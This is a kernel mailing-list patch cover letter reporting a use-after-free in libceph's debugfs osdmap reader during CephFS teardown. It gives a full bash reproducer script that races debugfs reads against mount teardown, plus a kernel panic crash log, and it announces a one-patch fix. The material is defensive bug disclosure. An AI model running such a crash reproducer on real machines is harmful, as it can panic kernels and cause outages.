[PATCH 0/1] libceph: fix debugfs osdmap UAF during stop
Ren Wei <[email protected]> Mon, 20 Jul 2026 11:49:05 +0800
| Newsgroups | org.kernel.vger.ceph-devel |
|---|---|
| Message-ID | <[email protected]> |
From: Zihan Xi <[email protected]> Hi Linux kernel maintainers, We found and validated a bug in net/ceph/osd_client.c. The bug is reachable by a root user during CephFS mount teardown via the debugfs osdmap file. We tested the reproducer on an unfixed kernel and observed the teardown-time crash. The fix only changes osdmap publication during client stop and should not affect normal osdmap updates. This series contains one patch: 1/1 libceph: unpublish osdmap before destroying it on stop We provide bug details, reproducer steps, and a crash log below. ---- details below ---- Bug details: osdmap_show() takes osdc->lock for reading, snapshots osdc->osdmap, and then walks the map while formatting /sys/kernel/debug/ceph/*/osdmap. ceph_osdc_stop() closes OSD state under the write side of the same lock, but then drops the lock before destroying osdc->osdmap and leaves the pointer published until the destroy completes. A concurrent debugfs reader can therefore acquire osdc->lock after the stop path drops it and traverse an osdmap that is being freed or has already been freed. The patch removes the osdmap pointer from osdc under the write lock, so the writer waits for current debugfs readers and later readers see a NULL osdmap. Queued OSD map messages also check for the unpublished osdmap after taking the lock and return during teardown. Reproducer: Guest: bash /root/poc.sh Host: bash ~/.agents/skills/qemu-start-linux-kernel/scripts/qemu-start-kernel.sh \ /home/tanyuan-cve/data/repos/linux-repos/linux-v7.0 scp -i /home/tanyuan-cve/data/rootfs-trixie/image.id_rsa \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -P <PORT> poc.sh root@localhost:/root/ ssh -i /home/tanyuan-cve/data/rootfs-trixie/image.id_rsa \ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \ -p <PORT> root@localhost 'bash /root/poc.sh' We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.sh------ #!/bin/bash set -euo pipefail MON_IP=127.0.0.1 MON_PORT=6789 MON_ID=a MON_DIR=/var/lib/ceph/mon/ceph-${MON_ID} MNT=/mnt/cephtest MAX_OSD=100000 ROUNDS=20 READERS=48 install_deps() { export DEBIAN_FRONTEND=noninteractive apt-get update apt-get install -y --no-install-recommends ceph-mon ceph-base } setup_monitor() { local fsid pkill -x ceph-mon || true rm -rf /etc/ceph "${MON_DIR}" /tmp/monmap /tmp/mon.keyring /tmp/ceph-mon.out mkdir -p /etc/ceph "${MON_DIR}" fsid="$(uuidgen)" cat >/etc/ceph/ceph.conf <<EOF [global] fsid = ${fsid} mon_host = ${MON_IP}:${MON_PORT} mon_initial_members = ${MON_ID} auth_cluster_required = none auth_service_required = none auth_client_required = none public_network = 127.0.0.0/8 osd_pool_default_size = 1 osd_pool_default_min_size = 1 mon_allow_pool_delete = true [mon.${MON_ID}] mon addr = ${MON_IP}:${MON_PORT} EOF monmaptool --create --add "${MON_ID}" "${MON_IP}:${MON_PORT}" --fsid "${fsid}" /tmp/monmap ceph-authtool /tmp/mon.keyring --create-keyring --gen-key -n mon. --cap mon 'allow *' ceph-mon --mkfs -i "${MON_ID}" --monmap /tmp/monmap --keyring /tmp/mon.keyring nohup ceph-mon -i "${MON_ID}" -c /etc/ceph/ceph.conf -d >/tmp/ceph-mon.out 2>&1 & for _ in $(seq 1 50); do if ceph -s -m "${MON_IP}:${MON_PORT}" --connect-timeout 2 >/dev/null 2>&1; then break fi sleep 0.2 done ceph config set mon mon_max_osd 200000 -m "${MON_IP}:${MON_PORT}" ceph osd setmaxosd "${MAX_OSD}" -m "${MON_IP}:${MON_PORT}" } trigger_once() { local round found f mp mkdir -p "${MNT}" dmesg -c >/dev/null || true for round in $(seq 1 "${ROUNDS}"); do rm -f /tmp/osdmap.pids timeout 12 mount -t ceph "${MON_IP}:${MON_PORT}":/ "${MNT}" -o mount_timeout=3,_netdev \ >/tmp/mount."${round}".out 2>&1 & mp=$! found="" for _ in $(seq 1 300); do for f in /sys/kernel/debug/ceph/*/osdmap; do [ -f "${f}" ] || continue found="${f}" break 2 done sleep 0.02 done if [ -n "${found}" ]; then for _ in $(seq 1 "${READERS}"); do cat "${found}" >/dev/null 2>/dev/null & echo $! >>/tmp/osdmap.pids done fi wait "${mp}" || true if [ -f /tmp/osdmap.pids ]; then xargs -r kill </tmp/osdmap.pids || true fi mountpoint -q "${MNT}" && umount "${MNT}" || true sleep 0.05 done } main() { if [ "$(id -u)" -ne 0 ]; then echo "run as root" >&2 exit 1 fi install_deps setup_monitor trigger_once } main "$@" ------END poc.sh-------- ----BEGIN crash log---- page_owner tracks the page as allocated [ 555.707188][T11090] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP), pid 11060, tgid 11060 (sleep), ts 548768365989, free_ts 548710187389 [ 555.708433][T11090] page last free pid 0 tgid 0 stack trace: [ 555.755710][T11096] BUG: unable to handle page fault for address: ffa00000150431b0 [ 555.756282][T11096] #PF: supervisor read access in kernel mode [ 555.756768][T11096] #PF: error_code(0x0000) - not-present page [ 555.757239][T11096] PGD 100000067 P4D 101ea8067 PUD 101ead067 PMD 0 [ 555.757778][T11096] Oops: Oops: 0000 [#1] SMP KASAN NOPTI [ 555.758217][T11096] CPU: 2 UID: 0 PID: 11096 Comm: cat Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full) [ 555.759008][T11096] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 555.759862][T11096] RIP: 0010:ceph_pr_addr+0xb9/0x350 [ 555.760277][T11096] Code: 40 38 f1 40 0f 9e c6 84 c9 0f 95 c1 40 84 ce 0f 85 55 02 00 00 83 e0 07 38 c2 0f 9e c1 84 d2 0f 95 c0 84 c1 0f 85 40 02 00 00 <48> 8b 43 08 be 04 00 00 00 48 c7 c7 00 f4 74 9a 48 89 44 24 28 48 [ 555.761817][T11096] RSP: 0018:ffa0000001abf898 EFLAGS: 00010286 [ 555.762296][T11096] RAX: 0000000000000000 RBX: ffa00000150431a8 RCX: 0000000000000000 [ 555.762915][T11096] RDX: 0000000000000000 RSI: 0000000000000080 RDI: ffa0000001abf860 [ 555.763535][T11096] RBP: 00000000aaaaaa68 R08: 0000000000000080 R09: ffa0000001abfa38 [ 555.764165][T11096] R10: 0000000000000000 R11: ffa0000001abfa38 R12: 1ff4000000357f14 [ 555.764795][T11096] R13: ff11000021d64400 R14: 00000000000007e5 R15: 00000000ffffffff [ 555.765422][T11096] FS: 00007f46869b0780(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000 [ 555.766128][T11096] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 555.766649][T11096] CR2: ffa00000150431b0 CR3: 000000002286f000 CR4: 0000000000751ef0 [ 555.767275][T11096] PKRU: 55555554 [ 555.767552][T11096] Call Trace: [ 555.767822][T11096] <TASK> [ 555.768059][T11096] ? __pfx_ceph_pr_addr+0x10/0x10 [ 555.768459][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.768912][T11096] ? snprintf+0xaa/0xe0 [ 555.769250][T11096] ? __pfx_snprintf+0x10/0x10 [ 555.769638][T11096] osdmap_show+0x553/0xff0 [ 555.770005][T11096] ? __pfx_osdmap_show+0x10/0x10 [ 555.770397][T11096] ? rcu_is_watching+0x12/0xc0 [ 555.770779][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.771211][T11096] ? __kvmalloc_node_noprof+0x668/0x9a0 [ 555.771640][T11096] ? seq_read_iter+0x371/0x11f0 [ 555.772015][T11096] seq_read_iter+0x40f/0x11f0 [ 555.772377][T11096] ? folio_add_new_anon_rmap+0x2b1/0x1110 [ 555.772793][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.773238][T11096] seq_read+0x2b0/0x450 [ 555.773569][T11096] ? __pfx_seq_read+0x10/0x10 [ 555.773951][T11096] ? __pfx___might_resched+0x10/0x10 [ 555.774374][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.774825][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.775315][T11096] full_proxy_read+0x10c/0x170 [ 555.775702][T11096] vfs_read+0x173/0xb70 [ 555.776036][T11096] ? __pfx_css_rstat_updated+0x10/0x10 [ 555.776468][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.776921][T11096] ? lock_vma_under_rcu+0x12b/0x3f0 [ 555.777326][T11096] ? __pfx_vfs_read+0x10/0x10 [ 555.777698][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.778144][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.778592][T11096] ? find_held_lock+0x2b/0x80 [ 555.778964][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.779411][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.779861][T11096] ? find_held_lock+0x2b/0x80 [ 555.780241][T11096] ksys_read+0xf9/0x1d0 [ 555.780571][T11096] ? __pfx_ksys_read+0x10/0x10 [ 555.780954][T11096] ? srso_alias_return_thunk+0x5/0xfbef5 [ 555.781399][T11096] ? rcu_is_watching+0x12/0xc0 [ 555.781787][T11096] do_syscall_64+0x116/0xf80 [ 555.782154][T11096] ? irqentry_exit+0x117/0x830 [ 555.782531][T11096] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 555.783011][T11096] RIP: 0033:0x7f4686a42687 [ 555.783376][T11096] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff [ 555.784926][T11096] RSP: 002b:00007ffc5b028a30 EFLAGS: 00000202 ORIG_RAX: 0000000000000000 [ 555.785582][T11096] RAX: ffffffffffffffda RBX: 00007f46869b0780 RCX: 00007f4686a42687 [ 555.786212][T11096] RDX: 0000000000040000 RSI: 00007f4686915000 RDI: 0000000000000003 [ 555.786834][T11096] RBP: 0000000000040000 R08: 0000000000000000 R09: 0000000000000000 [ 555.787456][T11096] R10: 0000000000000000 R11: 0000000000000202 R12: 00007f4686915000 [ 555.788084][T11096] R13: 0000000000000003 R14: 0000000000000000 R15: 0000000000040000 [ 555.788723][T11096] </TASK> [ 555.788957][T11096] Modules linked in: [ 555.789246][T11096] CR2: ffa00000150431b0 [ 555.789529][T11096] ---[ end trace 0000000000000000 ]--- [ 555.789529][T11099] BUG: unable to handle page fault for address: ffa000001503e000 [ 555.789895][T11096] RIP: 0010:ceph_pr_addr+0xb9/0x350 [ 555.790462][T11099] #PF: supervisor read access in kernel mode [ 555.790880][T11096] Code: 40 38 f1 40 0f 9e c6 84 c9 0f 95 c1 40 84 ce 0f 85 55 02 00 00 83 e0 07 38 c2 0f 9e c1 84 d2 0f 95 c0 84 c1 0f 85 40 02 00 00 <48> 8b 43 08 be 04 00 00 00 48 c7 c7 00 f4 74 9a 48 89 44 24 28 48 [ 555.791269][T11099] #PF: error_code(0x0000) - not-present page [ 555.792787][T11096] RSP: 0018:ffa0000001abf898 EFLAGS: 00010286 [ 555.793175][T11099] PGD 100000067 [ 555.793176][T11096] [ 555.793180][T11099] P4D 101ea8067 [ 555.793664][T11096] RAX: 0000000000000000 RBX: ffa00000150431a8 RCX: 0000000000000000 [ 555.793900][T11099] PUD 101ead067 [ 555.794088][T11096] RDX: 0000000000000000 RSI: 0000000000000080 RDI: ffa0000001abf860 [ 555.794319][T11099] PMD 0 [ 555.794939][T11096] RBP: 00000000aaaaaa68 R08: 0000000000000080 R09: ffa0000001abfa38 [ 555.795176][T11099] [ 555.795808][T11096] R10: 0000000000000000 R11: ffa0000001abfa38 R12: 1ff4000000357f14 [ 555.796000][T11099] Oops: Oops: 0000 [#2] SMP KASAN NOPTI [ 555.796625][T11096] R13: ff11000021d64400 R14: 00000000000007e5 R15: 00000000ffffffff [ 555.796806][T11099] CPU: 3 UID: 0 PID: 11099 Comm: cat Tainted: G D 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full) [ 555.797421][T11096] FS: 00007f46869b0780(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000 [ 555.797779][T11099] Tainted: [D]=DIE [ 555.798398][T11096] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 555.799202][T11099] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 555.799788][T11096] CR2: ffa00000150431b0 CR3: 000000002286f000 CR4: 0000000000751ef0 [ 555.800028][T11099] RIP: 0010:ceph_pr_addr+0xe9/0x350 [ 555.800544][T11096] PKRU: 55555554 [ 555.801232][T11099] Code: 00 00 00 48 c7 c7 00 f4 74 9a 48 89 44 24 28 48 8b 43 10 48 89 44 24 30 48 8b 43 18 48 89 44 24 38 48 8b 43 20 48 89 44 24 40 <48> 8b 43 28 48 89 44 24 48 48 8b 43 30 48 89 44 24 50 48 8b 43 38 [ 555.801864][T11096] Kernel panic - not syncing: Fatal exception [ 556.869115][T11096] Shutting down cpus with NMI [ 556.872070][T11096] Kernel Offset: disabled [ 556.872417][T11096] Rebooting in 86400 seconds.. -----END crash log----- Best regards, Zihan Xi Zihan Xi (1): libceph: unpublish osdmap before destroying it on stop net/ceph/osd_client.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) -- 2.43.0